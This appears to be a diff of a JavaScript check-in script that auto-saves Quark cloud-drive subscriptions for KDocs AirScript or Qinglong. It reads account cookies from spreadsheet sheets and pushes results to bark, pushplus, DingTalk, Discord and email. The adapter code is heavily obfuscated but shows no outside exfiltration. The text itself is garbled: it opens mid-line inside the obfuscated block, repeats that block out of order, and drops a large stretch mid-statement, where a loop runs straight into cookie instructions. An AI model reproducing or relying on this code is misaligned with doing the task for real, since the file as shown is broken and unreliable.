_0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i "NetWork"(中文名叫"网络") -> 按一下Ctrl+R -> list -> Cookie +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "quarksave"; // 分配置表名称, (修改这里) +var pushHeader = "【夸克订阅更新自动转存】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return 